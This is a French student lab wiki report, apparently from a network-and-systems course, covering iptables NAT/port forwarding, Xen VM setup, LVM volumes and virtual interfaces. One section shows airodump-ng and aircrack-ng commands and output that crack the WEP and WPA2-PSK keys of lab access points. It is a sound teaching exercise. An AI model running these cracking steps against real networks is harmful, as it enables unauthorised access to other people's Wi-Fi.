==== Lire un fichier iptables &amp;lt;code&amp;gt;/etc/iptables/rules.v4&amp;lt;/code&amp;gt; ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Generated by iptables-save v1.8.9 (nf_tables) on Thu Jan 22 18:31:33 2026&lt;br /&gt;
*nat&lt;br /&gt;
:PREROUTING ACCEPT [0:0]&lt;br /&gt;
:INPUT ACCEPT [0:0]&lt;br /&gt;
:OUTPUT ACCEPT [0:0]&lt;br /&gt;
:POSTROUTING ACCEPT [0:0]&lt;br /&gt;
-A PREROUTING -d 193.48.57.165/32 -p tcp -m tcp --dport 2201 -j DNAT --to-destination 192.168.3.2:22&lt;br /&gt;
-A PREROUTING -d 193.48.57.165/32 -p tcp -m tcp --dport 2021 -j DNAT --to-destination 192.168.3.3:22&lt;br /&gt;
-A POSTROUTING -s 192.168.3.0/29 -j MASQUERADE&lt;br /&gt;
&lt;br /&gt;
-A POSTROUTING -s 10.60.0.0/16 -j MASQUERADE&lt;br /&gt;
COMMIT&lt;br /&gt;
# Completed on Thu Jan 22 18:31:33 2026&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
*nat&lt;br /&gt;
:PREROUTING ACCEPT [0:0]&lt;br /&gt;
:INPUT ACCEPT [0:0]&lt;br /&gt;
:OUTPUT ACCEPT [0:0]&lt;br /&gt;
:POSTROUTING ACCEPT [0:0]&lt;br /&gt;
...&lt;br /&gt;
COMMIT&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;'''Les chaînes (ultra important)'''&lt;br /&gt;
&lt;br /&gt;
* '''PREROUTING''' : NAT fait ''avant'' que Linux décide où router le paquet  → typiquement '''DNAT''' (port forwarding)&lt;br /&gt;
* '''POSTROUTING''' : NAT fait ''juste avant'' que le paquet sorte sur une interface  → typiquement '''SNAT/MASQUERADE''' (NAT sortant)&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
-A PREROUTING -d 193.48.57.165/32 -p tcp --dport 2201 -j DNAT --to-destination 192.168.3.2:22&lt;br /&gt;
-A PREROUTING -d 193.48.57.165/32 -p tcp --dport 2021 -j DNAT --to-destination 192.168.3.3:22&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ça veut dire :&lt;br /&gt;
&lt;br /&gt;
* Si quelqu’un sur Internet fait :&lt;br /&gt;
** &amp;lt;code&amp;gt;193.48.57.165:2201&amp;lt;/code&amp;gt; → on rediriges vers &amp;lt;code&amp;gt;192.168.3.2:22&amp;lt;/code&amp;gt; (SSH)&lt;br /&gt;
** &amp;lt;code&amp;gt;193.48.57.165:2021&amp;lt;/code&amp;gt; → on rediriges vers &amp;lt;code&amp;gt;192.168.3.3:22&amp;lt;/code&amp;gt; (SSH)&lt;br /&gt;
&lt;br /&gt;
Donc on exposes plusieurs SSH internes via '''un seul serveur public''', en jouant sur les ports.&lt;br /&gt;
&lt;br /&gt;
Note importante : DNAT ne suffit pas toujours tout seul : il faut aussi que le '''forwarding''' soit autorisé (et éventuellement règles &amp;lt;code&amp;gt;filter&amp;lt;/code&amp;gt; si on a une politique restrictive). Dans ton cas, on n’as montré que la table &amp;lt;code&amp;gt;nat&amp;lt;/code&amp;gt;.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
-A POSTROUTING -s 192.168.3.0/29 -j MASQUERADE&lt;br /&gt;
-A POSTROUTING -s 10.60.0.0/16 -j MASQUERADE&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Traduction :&lt;br /&gt;
&lt;br /&gt;
* Tout paquet qui '''sort''' et dont la source est dans &amp;lt;code&amp;gt;192.168.3.0/29&amp;lt;/code&amp;gt; verra son IP source remplacée par l’IP publique du mandataire.&lt;br /&gt;
* Pareil pour &amp;lt;code&amp;gt;10.60.0.0/16&amp;lt;/code&amp;gt; (ces adresses seront à rajoutées pour la suite du TP pour l'instant ne les ajoutés pas)&lt;br /&gt;
&lt;br /&gt;
==== Autre amélioration très recommandée : préciser l’interface de sortie ====&lt;br /&gt;
&lt;br /&gt;
Sans &amp;lt;code&amp;gt;-o eth1&amp;lt;/code&amp;gt;, on peut NATer des flux que on ne voulais pas NATer si on a plusieurs sorties. La version “propre” :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
-A POSTROUTING -s 192.168.3.0/27 -o eth1 -j MASQUERADE&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Mais dans notre TP, il n'y pas besoin de ça&lt;br /&gt;
&lt;br /&gt;
==== Explication de PREROUTING et POSTROUTING ====&lt;br /&gt;
&lt;br /&gt;
===== PREROUTING : “avant la décision de routage” =====&lt;br /&gt;
'''Quand ?'''&lt;br /&gt;
&lt;br /&gt;
Dès qu’un paquet '''entre''' sur la machine (depuis une interface réseau), ''avant'' que Linux décide s’il doit :&lt;br /&gt;
&lt;br /&gt;
* le garder pour lui (INPUT),&lt;br /&gt;
* ou le renvoyer vers un autre réseau (FORWARD).&lt;br /&gt;
&lt;br /&gt;
'''À quoi ça sert ?'''&lt;br /&gt;
&lt;br /&gt;
C’est l’endroit parfait pour faire du '''DNAT''' (redirection de destination), parce que on veux changer la destination '''avant''' que le kernel choisisse où l’envoyer.&lt;br /&gt;
&lt;br /&gt;
'''Exemple concret (port forwarding)'''&lt;br /&gt;
&lt;br /&gt;
Quelqu’un sur Internet contacte :&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;193.48.57.165:2201&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ta règle en PREROUTING fait :&lt;br /&gt;
&lt;br /&gt;
* destination devient &amp;lt;code&amp;gt;192.168.3.2:22&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite seulement, Linux dit :&lt;br /&gt;
&lt;br /&gt;
“ok, ça doit partir vers le réseau interne” → il route vers &amp;lt;code&amp;gt;192.168.3.2&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
PREROUTING = “je reçois le colis, je regarde l’étiquette et j’ai encore le droit de la changer avant de choisir le camion.”&lt;br /&gt;
&lt;br /&gt;
===== POSTROUTING : “juste avant de sortir” =====&lt;br /&gt;
'''Quand ?'''&lt;br /&gt;
&lt;br /&gt;
Après que Linux a déjà décidé '''par où''' le paquet sort (quelle interface, quelle route), et juste avant qu’il quitte la machine.&lt;br /&gt;
&lt;br /&gt;
'''À quoi ça sert ?'''&lt;br /&gt;
&lt;br /&gt;
C’est l’endroit parfait pour faire du '''SNAT / MASQUERADE''' (changer l’adresse source), parce que :&lt;br /&gt;
&lt;br /&gt;
* on sais maintenant exactement sur quelle interface ça sort,&lt;br /&gt;
* et donc quelle IP source externe utiliser.&lt;br /&gt;
&lt;br /&gt;
'''Exemple concret (NAT sortant / masquerade)'''&lt;br /&gt;
&lt;br /&gt;
Une VM interne envoie vers Internet :&lt;br /&gt;
&lt;br /&gt;
* source &amp;lt;code&amp;gt;192.168.3.2&amp;lt;/code&amp;gt; → destination &amp;lt;code&amp;gt;1.2.3.4&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
En POSTROUTING, on remplaces la source :&lt;br /&gt;
&lt;br /&gt;
* source devient &amp;lt;code&amp;gt;193.48.57.165&amp;lt;/code&amp;gt; (IP publique du mandataire)&lt;br /&gt;
&lt;br /&gt;
Comme ça, Internet répond à &amp;lt;code&amp;gt;193.48.57.165&amp;lt;/code&amp;gt;, et le mandataire retransmet à la VM grâce à conntrack.&lt;br /&gt;
&lt;br /&gt;
POSTROUTING = “le colis est déjà assigné à un camion (interface de sortie), je peut encore modifier l’étiquette avant qu’il parte.”&lt;br /&gt;
&lt;br /&gt;
===== Résumé =====&lt;br /&gt;
&lt;br /&gt;
* '''PREROUTING''' : avant le routage → on change surtout la '''destination''' (DNAT / redirections de ports)&lt;br /&gt;
* '''POSTROUTING''' : après le routage → on change surtout la '''source''' (SNAT / MASQUERADE)&lt;br /&gt;
&lt;br /&gt;
== Cassage de clé WIFI ==&lt;br /&gt;
&lt;br /&gt;
=== WEP ===&lt;br /&gt;
Sur un 1 terminal : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo airodump-ng wlan1 --write crackage_pcasimir/pcasimir --bssid 04:DA:D2:9C:50:50 -c4&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Il faut laisser tourner le programme pendant un moment pour capturer un maximum d'IVs (environ 50*10³)&lt;br /&gt;
&lt;br /&gt;
Ce que l'on voit : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
CH  4 ][ Elapsed: 40 mins ][ 2026-02-10 16:07 ][ paused output&lt;br /&gt;
&lt;br /&gt;
BSSID              PWR RXQ  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID&lt;br /&gt;
&lt;br /&gt;
04:DA:D2:9C:50:50  -64   0    10771    48468   31   4   54e. WEP  WEP         cracotte01    &lt;br /&gt;
&lt;br /&gt;
BSSID              STATION            PWR    Rate    Lost   Frames  Notes  Probes&lt;br /&gt;
&lt;br /&gt;
04:DA:D2:9C:50:50  40:A5:EF:01:21:80  -73    0 -36e   621    58224   &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
sur 2ème terminal :&lt;br /&gt;
&lt;br /&gt;
Une fois qu'on a 50*10³ IV on fait : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo aircrack-ng -a1 -b 04:DA:D2:9C:50:50 crackage_pcasimir/pcasimir-01.cap -s&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Résultat : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
  KB    depth   byte(vote)&lt;br /&gt;
&lt;br /&gt;
   0    1/  2   B5(55552) 84(53504) 2B(52992) 2F(52480) A0(52480) BA(52224) &lt;br /&gt;
&lt;br /&gt;
   1    0/  5   49(66304) E8(55552) 20(55296) 65(55296) 73(55296) 5F(53760) &lt;br /&gt;
&lt;br /&gt;
   2   41/  2   E1(48640) 0E(48384) 3D(48384) 63(48384) 6C(48384) 9C(48384) &lt;br /&gt;
&lt;br /&gt;
   3    4/  3   B3(53248) 7B(52992) 95(52992) 31(52736) 12(52224) FF(52224) &lt;br /&gt;
&lt;br /&gt;
   4    1/  2   21(55552) 17(52480) 26(52224) B5(52224) 16(51968) C0(51712) &lt;br /&gt;
&lt;br /&gt;
            KEY FOUND! [ FF:FF:FF:FF:FA:BC:02:CB:AE:EE:EE:EE:EE ] &lt;br /&gt;
&lt;br /&gt;
   Decrypted correctly: 100%&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== WPA2-PSK ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
pcasimir@zabeth13:~$ sudo airodump-ng wlan1 --write crackage_pcasimir/airodumpWPA --bssid 44:AD:D9:5F:87:00 -c13&lt;br /&gt;
&lt;br /&gt;
CH 13 ][ Elapsed: 1 hour 44 mins ][ 2026-02-10 18:41 ][ fixed channel wlan1: 4 &lt;br /&gt;
&lt;br /&gt;
BSSID              PWR RXQ  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID&lt;br /&gt;
&lt;br /&gt;
44:AD:D9:5F:87:00  -58   0    28293      508    0  13   54e. WPA2 CCMP   PSK  kracotte01    &lt;br /&gt;
&lt;br /&gt;
BSSID              STATION            PWR    Rate    Lost   Frames  Notes  Probes&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
pcasimir@zabeth13:~$ sudo aircrack-ng -a2 -b 44:AD:D9:5F:87:00 -w crackage_pcasimir/dico.txt crackage_pcasimir/airodumpWPA-01.cap&lt;br /&gt;
&lt;br /&gt;
Aircrack-ng 1.7 &lt;br /&gt;
&lt;br /&gt;
     [00:55:43] 66515032/100000000 keys tested (19870.44 k/s) &lt;br /&gt;
&lt;br /&gt;
     Time left: 28 minutes, 5 seconds                          66.52%&lt;br /&gt;
&lt;br /&gt;
                          KEY FOUND! [ 66689666 ]&lt;br /&gt;
&lt;br /&gt;
     Master Key     : 3C A8 6A 6B 80 C3 36 12 EC D6 36 89 9F E3 F6 BC &lt;br /&gt;
&lt;br /&gt;
                      D6 B2 24 8A 49 B4 9C 2A A3 6F 3E A0 96 15 8B F5 &lt;br /&gt;
&lt;br /&gt;
     Transient Key  : A0 53 57 7D 4B 67 FB 00 00 00 00 00 00 00 00 00 &lt;br /&gt;
&lt;br /&gt;
                      00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 &lt;br /&gt;
&lt;br /&gt;
                      00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 &lt;br /&gt;
&lt;br /&gt;
                      00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 &lt;br /&gt;
&lt;br /&gt;
     EAPOL HMAC     : 52 DE 19 6D B0 E3 3B 2C 1A DA D3 F2 66 39 F2 DD&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pcasimir</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E1&amp;diff=12394</id>
		<title>Atelier SysRes SE4 2025/2026 E1</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E1&amp;diff=12394"/>
		<updated>2026-02-25T15:11:15Z</updated>

		<summary type="html">&lt;p&gt;Pcasimir : /* Mini résumé ultra clair */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== CRÉATION MACHINES VIRTUELLES ==&lt;br /&gt;
Il faut d'abord crée un &amp;quot;bridge&amp;quot; sur capbreton pour relier nos 3 machines virtuelles ensemble. Un &amp;quot;bridge&amp;quot; n'a rien de complexe, c'est un commutateur mais virtuel. C'est comme un commutateur physique avec des ports ethernet pour relier des machines ensemble mais il n'existe pas dans le monde physique seulement sur nos ordinateurs et VM. Pour cela, nous créons notre pont sur capbreton le commutateur/routeur dans la E304. Nous le faisons dans ce chemin : &amp;lt;code&amp;gt;/etc/network/interfaces.d/SE42026_pcasimir_ahoudus&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Veuillez faire en sorte de ne &amp;lt;code&amp;gt;PAS&amp;lt;/code&amp;gt; modifier le fichier le fichier &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; car c'est le fichier qui permet de configurer la connectivité de capbreton lui-même.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto pont_Gercourt                                                                                                                                                      &lt;br /&gt;
iface pont_Gercourt inet manual                                                                                                                                         &lt;br /&gt;
        bridge_ports none                                                                                                                                               &lt;br /&gt;
        up ip link set $IFACE up                                                                                                                                        &lt;br /&gt;
        down ip link set $IFACE down&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous devons initialiser nos MV de services grâce à l'outil hyperviseur &amp;lt;code&amp;gt;Xen&amp;lt;/code&amp;gt;. &lt;br /&gt;
&lt;br /&gt;
Un '''hyperviseur''', c’est le logiciel qui permet de faire tourner '''plusieurs “ordinateurs virtuels” (VM)''' sur '''un seul ordinateur physique'''.&lt;br /&gt;
&lt;br /&gt;
Au lieu d’avoir '''1 machine = 1 OS''', tu as '''1 machine physique = plusieurs OS''' (Linux, OpenWRT, Windows…) qui tournent en parallèle, chacun dans sa VM. &lt;br /&gt;
&lt;br /&gt;
Un hyperviseur est “entre” le matériel et les VM, et il s’occupe de partager proprement :&lt;br /&gt;
&lt;br /&gt;
* '''CPU''' : qui a le droit d’exécuter quand (ordonnancement)&lt;br /&gt;
* '''RAM''' : qui a droit à quelle mémoire (isolation, allocation)&lt;br /&gt;
* '''Disques''' : chaque VM a “son disque” (souvent un fichier &amp;lt;code&amp;gt;.img&amp;lt;/code&amp;gt;, LVM, etc.)&lt;br /&gt;
* '''Réseau''' : chaque VM a une carte réseau virtuelle, connectée à un '''switch/bridge virtuel'''&lt;br /&gt;
* '''Isolation/Sécurité''' : une VM ne doit pas pouvoir casser les autres.&lt;br /&gt;
&lt;br /&gt;
'''Xen''', c’est un hyperviseur “bare-metal” très utilisé historiquement en serveur/cloud.&lt;br /&gt;
&lt;br /&gt;
Dans Xen, toutes les VM sont des ''domains''.&lt;br /&gt;
&lt;br /&gt;
* '''Dom0 (Domain 0)''' : la VM “chef” (privilégiée)&lt;br /&gt;
** c’est elle qui a les '''drivers matériels'''&lt;br /&gt;
** c’est elle qui '''crée / détruit / configure''' les autres VM&lt;br /&gt;
** elle gère souvent le '''réseau (bridges/VLAN)''' et le '''stockage'''&lt;br /&gt;
* '''DomU''' : les VM “normales” (invitées)&lt;br /&gt;
** elles ont des '''périphériques virtuels'''&lt;br /&gt;
** elles passent souvent par Dom0 pour accéder au hardware&lt;br /&gt;
&lt;br /&gt;
Petit schéma mental :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
         Matériel (CPU/RAM/NIC/Disques)&lt;br /&gt;
                    │&lt;br /&gt;
                   Xen&lt;br /&gt;
                    │&lt;br /&gt;
        ┌───────────┴───────────┐&lt;br /&gt;
        │                       │&lt;br /&gt;
      Dom0                 Dom1, Dom2, Dom3...&lt;br /&gt;
 (admin + drivers)      (VM Linux / OpenWRT / etc.)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Il leur faut plusieurs paramètres pour fonctionner selon nos critères.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.Merteuil --dhcp --bridge=pont_Gercourt --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2048M --force&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* '''&amp;lt;code&amp;gt;xen-create-image&amp;lt;/code&amp;gt;''' :  Commande permettant de créer une nouvelle machine virtuelle Xen&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--hostname=SE4.Merteuil&amp;lt;/code&amp;gt;''' :  Spécifie le nom d'hôte de la nouvelle MV créée. Ici, le nom d'hôte sera &amp;lt;code&amp;gt;SE4.Atreus&amp;lt;/code&amp;gt;.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--dhcp&amp;lt;/code&amp;gt;''' :  Indique que la MV obtiendra automatiquement une adresse IP via DHCP. Aucune configuration statique d'adresse IP ne sera nécessaire. Vous devriez quand même configuré votre &amp;lt;code&amp;gt;/etc/network/interface&amp;lt;/code&amp;gt; dans votre VM pour qu'elle ait une adresse IPv4 sur votre commutateur virtuel/bridge.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--bridge=bifrost&amp;lt;/code&amp;gt;''' :  Précise l'utilisation du pont réseau nommé &amp;lt;code&amp;gt;bifrost&amp;lt;/code&amp;gt; pour connecter la machine virtuelle au réseau physique ou virtuel existant. Ceci permet une connexion directe de la VM au réseau.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--dir=/usr/local/xen&amp;lt;/code&amp;gt;''' :  Définit le répertoire dans lequel seront stockées les images disque et les fichiers associés de la MV. Ici, l'image sera placée dans le dossier &amp;lt;code&amp;gt;/usr/local/xen&amp;lt;/code&amp;gt;.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--size=10GB&amp;lt;/code&amp;gt;''' :  Détermine la taille du disque virtuel pour cette MV. Dans cet exemple, le disque fera &amp;lt;code&amp;gt;10 Go&amp;lt;/code&amp;gt;.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--dist=daedalus&amp;lt;/code&amp;gt;''' :  Indique la distribution du système d'exploitation à utiliser pour la MV. Ici, la distribution choisie s'appelle &amp;lt;code&amp;gt;daedalus&amp;lt;/code&amp;gt; pour Debian.&lt;br /&gt;
&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--memory=2048M&amp;lt;/code&amp;gt;''' :  Détermine la quantité de mémoire vive (RAM) allouée à la MV. Dans cet exemple, la MV aura &amp;lt;code&amp;gt;2048 Mo&amp;lt;/code&amp;gt; (soit 2 Go) de RAM.&lt;br /&gt;
&lt;br /&gt;
=== Volumes Logiques ===&lt;br /&gt;
Dans notre infra, on ne met pas tout le système d’une VM sur un seul “disque” géant. On '''sépare certains répertoires''' dans des '''volumes logiques (LVM)''' dédiés, notamment :&lt;br /&gt;
&lt;br /&gt;
* '''&amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt;''' : dossiers utilisateurs (fichiers perso, configs, projets, clés SSH…)&lt;br /&gt;
* '''&amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt;''' : données qui bougent beaucoup (logs, cache, bases de données, spool, etc.)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Cette séparation a plusieurs avantages très concrets :&lt;br /&gt;
&lt;br /&gt;
* '''Meilleure gestion de l’espace disque''' : tu peux dimensionner &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt; indépendamment (et agrandir si besoin).&lt;br /&gt;
* '''Moins de risques''' : si &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; explose (logs qui partent en vrille, cache énorme…), ça évite de remplir tout le disque système et de “tuer” la VM.&lt;br /&gt;
* '''Maintenance plus simple''' : sauvegarde/restauration ciblée (ex : sauvegarder &amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt; sans prendre tout le système).&lt;br /&gt;
* '''Organisation propre''' : chaque VM a ses volumes clairement identifiés.&lt;br /&gt;
&lt;br /&gt;
Pour chaque VM, on crée deux volumes logiques de 10 Go :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
lvcreate -L 10G -n SE4.&amp;lt;NomDeVM&amp;gt;.home virtual&lt;br /&gt;
lvcreate -L 10G -n SE4.&amp;lt;NomDeVM&amp;gt;.var virtual&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;lvcreate&amp;lt;/code&amp;gt; : commande qui '''crée un volume logique'''&lt;br /&gt;
* &amp;lt;code&amp;gt;-L 10G&amp;lt;/code&amp;gt; : taille du volume (ici '''10 Go''')&lt;br /&gt;
* &amp;lt;code&amp;gt;-n &amp;lt;nom&amp;gt;&amp;lt;/code&amp;gt; : nom du volume logique (d’où le &amp;lt;code&amp;gt;SE4.&amp;lt;NomDeVM&amp;gt;.home&amp;lt;/code&amp;gt;)&lt;br /&gt;
* &amp;lt;code&amp;gt;virtual&amp;lt;/code&amp;gt; : le '''Volume Group''' dans lequel on crée le volume&lt;br /&gt;
&lt;br /&gt;
Ces volumes seront ensuite '''attachés à la VM''' comme des disques (ou partitions virtuelles), puis '''formatés''' et '''montés''' dans la VM :&lt;br /&gt;
&lt;br /&gt;
* le volume &amp;lt;code&amp;gt;.home&amp;lt;/code&amp;gt; sera monté sur &amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt;&lt;br /&gt;
* le volume &amp;lt;code&amp;gt;.var&amp;lt;/code&amp;gt; sera monté sur &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Fichier de configuration Xen ===&lt;br /&gt;
&lt;br /&gt;
==== 0) Éditer le fichier de configuration Xen de la VM (réseau + disques) ====&lt;br /&gt;
Après avoir généré une VM avec &amp;lt;code&amp;gt;xen-create-image&amp;lt;/code&amp;gt;, un '''fichier de configuration''' est créé pour cette VM (souvent un &amp;lt;code&amp;gt;.cfg&amp;lt;/code&amp;gt;).&lt;br /&gt;
&lt;br /&gt;
C’est ce fichier qui dit à Xen :&lt;br /&gt;
&lt;br /&gt;
* quels '''disques''' (images, volumes LVM…) la VM utilise&lt;br /&gt;
* combien de RAM/vCPU&lt;br /&gt;
* et surtout quelles '''interfaces réseau virtuelles''' (VIF) elle a, et sur quels '''bridges''' elles sont branchées&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root        = '/dev/xvda2 ro'&lt;br /&gt;
disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/SE4.Merteuil/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/SE4.Merteuil/swap.img,xvda1,w',&lt;br /&gt;
		          'phy:/dev/virtual/SE4.Merteuil.home,xvda3,w',&lt;br /&gt;
		          'phy:/dev/virtual/SE4.Merteuil.var,xvdb1,w',&lt;br /&gt;
              ]&lt;br /&gt;
              &lt;br /&gt;
#                                                                                                                                                                       &lt;br /&gt;
#  Hostname                                                                                                                                                             &lt;br /&gt;
#                                                                                                                                                                       &lt;br /&gt;
name        = 'SE4.Merteuil'                                                                                                                                            &lt;br /&gt;
                                                                                                                                                                        &lt;br /&gt;
#                                                                                                                                                                       &lt;br /&gt;
#  Networking                                                                                                                                                           &lt;br /&gt;
#                                                                                                                                                                       &lt;br /&gt;
dhcp        = 'dhcp'                                                                                                                                                    &lt;br /&gt;
vif         = [ 'mac=00:16:3E:47:BB:E8,bridge=pont_Gercourt' ,                                                                                                          &lt;br /&gt;
                'mac=00:16:3E:47:BB:E7,bridge=SE4' ]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== 1) Les VIF : cartes réseau virtuelles de la VM ====&lt;br /&gt;
Une '''VIF (Virtual Interface)''', c’est tout simplement une '''carte réseau virtuelle''' vue par la VM.&lt;br /&gt;
&lt;br /&gt;
Dans la VM, elle apparaîtra comme une interface réseau (genre &amp;lt;code&amp;gt;eth0&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;eth1&amp;lt;/code&amp;gt;, etc., selon l’OS).&lt;br /&gt;
&lt;br /&gt;
Dans Xen, chaque entrée &amp;lt;code&amp;gt;vif&amp;lt;/code&amp;gt; du fichier &amp;lt;code&amp;gt;.cfg&amp;lt;/code&amp;gt; correspond à une carte réseau virtuelle. Une fois la VM démarrée, ces cartes apparaissent dans l’OS invité sous forme d’interfaces &amp;lt;code&amp;gt;eth0&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;eth1&amp;lt;/code&amp;gt;, etc. Le paramètre &amp;lt;code&amp;gt;bridge=...&amp;lt;/code&amp;gt; indique sur quel commutateur virtuel (bridge Xen/Linux) la carte est connectée.&lt;br /&gt;
&lt;br /&gt;
===== Différence avec une machine physique =====&lt;br /&gt;
Sur un PC “réel”, tu es limité :&lt;br /&gt;
&lt;br /&gt;
* par le nombre de ports Ethernet / cartes réseau dispo physiquement&lt;br /&gt;
&lt;br /&gt;
Dans une VM, pas ce souci :&lt;br /&gt;
&lt;br /&gt;
* tu peux ajouter autant de VIF que tu veux '''en théorie'''&lt;br /&gt;
* en pratique : tu restes limité par la perf + la complexité de ton archi réseau (mais c’est déjà énorme)&lt;br /&gt;
&lt;br /&gt;
==== 2) Ce qu’on veut dans le TP : 2 cartes réseau ====&lt;br /&gt;
Dans le cadre du TP, on te demande '''2 VIF''' :&lt;br /&gt;
&lt;br /&gt;
'''VIF 1 : réseau interne de ton groupe (bridge du “switch” virtuel)'''&lt;br /&gt;
&lt;br /&gt;
* branchée sur le '''bridge''' qui relie nos '''3 machines''' (nos VM du groupe)&lt;br /&gt;
* ici : &amp;lt;code&amp;gt;pont_Gercourt&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Objectif : que nos VMs communiquent entre elles comme si elles étaient branchées sur le même switch.&lt;br /&gt;
&lt;br /&gt;
'''VIF 2 : réseau “école / Internet / infra”'''&lt;br /&gt;
&lt;br /&gt;
* branchée sur le bridge qui donne l’accès au '''reste de l’infra''' + Internet&lt;br /&gt;
* ici : &amp;lt;code&amp;gt;SE4&amp;lt;/code&amp;gt; (bridge officiel du TP)&lt;br /&gt;
&lt;br /&gt;
Objectif : accès Internet + accès au reste de l’infra (routeurs, services, etc.)&lt;br /&gt;
&lt;br /&gt;
===== Mode “secours” : &amp;lt;code&amp;gt;bridgeStudents&amp;lt;/code&amp;gt; =====&lt;br /&gt;
Tant que le bridge &amp;lt;code&amp;gt;SE4&amp;lt;/code&amp;gt; n’est pas encore “brassé” correctement (câblage + routeurs Cisco + etc.), tu peux utiliser :&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;bridgeStudents&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ça te donne déjà :&lt;br /&gt;
&lt;br /&gt;
* Internet&lt;br /&gt;
* de quoi avancer sur une grosse partie du TP&lt;br /&gt;
&lt;br /&gt;
⚠️ Mais à la fin, pour la note max :&lt;br /&gt;
&lt;br /&gt;
